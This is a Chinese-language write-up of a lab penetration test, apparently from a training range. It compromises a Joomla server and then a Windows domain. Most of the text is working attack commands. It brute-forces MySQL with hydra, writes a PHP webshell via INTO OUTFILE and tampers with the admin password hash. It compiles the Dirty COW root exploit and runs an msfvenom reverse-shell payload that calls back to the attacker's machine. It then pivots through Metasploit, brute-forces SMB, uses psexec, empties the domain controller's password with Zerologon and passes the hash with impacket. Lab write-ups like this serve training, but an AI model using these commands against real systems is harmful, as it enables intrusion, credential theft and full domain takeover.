| ip | |
|---|---|
| 本机地址 | 192.168.111.25 |
| 目标地址 | 192.168.111.20 |
信息收集
nmap先扫扫端口,22端口ssh连接可能存在密码爆破,3306端口mysql连接可能存在弱口令,80端口http网站
nmap -sV -Pn 192.168.111.20

基于80端口访问靶机地址发现网站是基于joomla搭建的

开始扫描目录,访问/README.txt得到了joomla的版本,/configuration.php配置文件又泄露了数据库的账号密码,/administrator后台登录界面



mysql渗透
基于3306端口检测是否存在弱口令,利用hydra和kali自带的字典检测存在弱口令root/123
hydra -C /usr/share/wordlists/legion/mysql-betterdefaultpasslist.txt mysql://192.168.111.20

根据爆破得到的弱口令尝试从mysql入手渗透,因为kali新版本会尝试使用ssl连接但是mysql不支持,所以注意命令--ssl=0
mysql -h 192.168.111.20 -u root -p --ssl=0
show variables like '%secure%'; #查询系统变量
可以看到这里的secure_file_priv为空值,说明MySQL不限制文件导入导出的目录

直接写入
前面扫描目录访问配置文件我们可以得到绝对路径就是/var/www/html,尝试写入木马但是失败了
select "<?php system($_POST['a']); ?>" into outfile "/var/www/html/shell.php";

日志写入
同样尝试像红日1中向日志中写入木马,但是在修改日志路径这一步就报错了
set global general_log='on';
set global general_log_file='/var/www/html/shell.php'


数据库收集信息
在数据库中寻找后台登录用户密码
SHOW DATABASES; #显示库名
USE joomla; #进入joomla数据库
SHOW TABLES; #显示表名
DESC am2zu_users; #显示表am2zu_users的列名
select id,name,username,password from am2zu_users; #显示表中列名的字段值

得到管理员用户的密码但是是加密状态
administrator(ID 891)后来修改过密码,或者是在新版Joomla中创建,因此使用了bcrypt
admin2(ID 892)密码为joomla官方文档中的数值'secret'

根据官方文档中的操作修改密码为administrator/secret
#更改密码
UPDATE am2zu_users SET password='d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199' WHERE username='administrator';
#检查是否更改成功
SELECT name, username, password FROM am2zu_users WHERE username = 'administrator';


web渗透
访问/administrator后台登录管理员账号,尝试从后台模板中写入木马文件最后记得点save



蚁剑连接后门,终端执行命令不成功,应该是disable_function起作用了,用蚁剑的插件绕过


插件成功绕过,发现主机内网IP为192.168.93.120,主机是ubuntu 4.4.0


翻一下靶机中的文件又在tmp目录下发现一个账号密码,一开始扫描到的22端口还没有起作用尝试用ssh连接

SSH连接
sudo ssh wwwuser@192.168.111.20 -o HostKeyAlgorithms=+ssh-rsa #需要指定使用ssh-rsa密钥类型才能连接
成功登录进来查看网络配置,依旧双网卡已知靶机192.168.111.20,另一张网卡为192.168.93.100,而主机系统变成了linux 6.5,说明采用了nginx反向代理CentOS作为对外入口,只负责接收HTTP请求并转发,而真正处理网站业务的是内网Ubuntu上的Joomla


nginx反向代理的标志

后渗透
centos版本为6.5,内核版本为2.6.32-431.el6.x86_64,尝试利用dirty cow来提权,直接在kali中寻找现成的exp

启动kali本机的文件服务器,利用wget将本机中的exp下载到centos中


dirty cow成功提权并得到root权限
rm -f /tmp/passwd.bak #先删除备份文件,防止后续执行exp时报错gcc -pthread 40839.c -o dirty -lcrypt #编译文件
chmod +x dirty #修改权限
./dirty 123456 #执行可执行程序并设置
root用户密码为123456

内网渗透
msf上线
生成payload同样利用wget下载到centos中
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.111.25 lport=8081 -f elf > payload.elf


msf配置监听后执行payload,成功上线
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.111.25
set lport 8081
runchmod 777 payload.elf
./payload.elf


添加路由
利用autoroute模块自动添加内网路由
use post/multi/manage/autoroute
set session 1
run


扫描内网主机
可见除了Ubuntu和CentOS,还存在三台TEST的域内主机
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

配置socks代理
use auxiliary/server/socks_proxy
set version 5
set srvport 6666
run

配合proxychains
sudo vim /etc/proxychains.conf #修改后记得保存退出

端口扫描
msf模块
利用msf模块auxiliary/scanner/portscan/tcp扫描
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.93.10/20/30
run



nmap扫描
proxychains nmap -sT -Pn 192.168.93.10 -p22,23,80,139,445,1433,3306,3389,6379,8080



横向移动
都开启了445端口尝试爆破smb服务,该密码并未在kali的字典中记得将123qwe!ASD添加进字典中
msf模块
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.20
set pass_file /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt
set SMBUser administrator
run


hydra爆破
proxychains hydra -l administrator -P '/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt' smb://192.168.93.30


psexec横向
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.20
run

信息收集
shell进入后台找到域名并知道域控为192.168.93.10


域内三台主机
192.168.93.10 WIN-8GA56TNV3MV
192.168.93.20 WIN2008
192.168.93.30 WIN7

登录域控
域控135、445端口开放,利用kiwi检测是否存在zerologon漏洞,显示漏洞存在
load kiwi
kiwi_cmd sekurlsa::logonPasswords
kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$

置空域控hash
kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$ /exploit

抓取域控的hash
proxychains -q secretsdump.py -no-pass -just-dc test/WIN-8GA56TNV3MV$\@192.168.93.10

pth攻击
一开始在kiwi中失败于是采用impacket攻击,成功getshell
proxychains -q wmiexec.py test/administrator@192.168.93.10 -hashes aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97

获取flag
dir C:\flag* /s /b
type "C:\Users\Administrator\My Documents\flag.txt"


后续
做好收尾工作恢复域控密码
proxychains -q python reinstall_original_pw.py WIN-8GA56TNV3MV 192.168.93.10 aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97
